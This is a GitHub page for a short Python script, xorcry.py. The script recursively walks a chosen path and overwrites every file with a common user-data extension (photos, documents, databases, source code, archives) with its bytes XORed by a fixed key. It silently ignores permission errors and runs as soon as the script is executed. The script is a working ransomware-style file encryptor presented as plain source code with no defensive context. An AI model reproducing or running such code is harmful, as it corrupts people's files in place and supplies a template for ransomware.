-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathxorcry.py
75 lines (52 loc) · 1.89 KB
/
xorcry.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import sys
import os
class crypter() :
def __init__(self , key) :
self.key = key
''' The path of the wanted file or directory
Note : can be changed
'''
self.path = "<your specific path>"
''' List of extensions '''
self.ex = [
'jpg', 'jpeg', 'bmp', 'gif', 'png', 'svg', 'psd', 'raw',
'mp3','mp4', 'm4a', 'aac','ogg','flac', 'wav', 'wma', 'aiff', 'ape',
'avi', 'flv', 'm4v', 'mkv', 'mov', 'mpg', 'mpeg', 'wmv', 'swf', '3gp',
'doc', 'docx', 'xls', 'xlsx', 'ppt','pptx',
'odt', 'odp', 'ods', 'txt', 'rtf', 'tex', 'pdf', 'epub', 'md',
'yml', 'yaml', 'json', 'xml', 'csv',
'db', 'sql', 'dbf', 'mdb', 'iso',
'html', 'htm', 'xhtml', 'php', 'asp', 'aspx', 'js', 'jsp', 'css',
'c', 'cpp', 'cxx', 'h', 'hpp', 'hxx',
'java', 'class', 'jar' ,
'ps', 'bat', 'vb',
'awk', 'sh', 'cgi', 'pl', 'ada', 'swift',
'go', 'py', 'pyc', 'bf', 'coffee',
'zip', 'tar', 'tgz', 'bz2', '7z', 'rar', 'bak',]
''' Checks the extension of a given file '''
self.check_ex = lambda f : True if len(f.split(".")) > 1 and f.split(".")[1] in self.ex else False
if self.check_type(self.path) :
self.encrypt(self.path)
else :
for root , dirs , files in os.walk(self.path) :
for file in files :
self.encrypt(os.path.join(root , file))
''' checks for whether the given parameter is a file or a directory '''
def check_type(self , f) :
return True if os.path.isfile(self.path) else False
def encrypt(self , f) :
''' If the file's extension is one of the list declared above then start XoRing '''
if self.check_ex(f) :
try :
with open(f , mode = "rb") as _file :
rd = bytearray(_file.read())
for n , v in enumerate(rd) :
rd[n] = v ^ self.key
with open(f , mode = "wb") as _nf :
_nf.write(rd)
''' This exception is especially for file permissions '''
except :
pass
if __name__ == "__main__" :
final = crypter(255)
final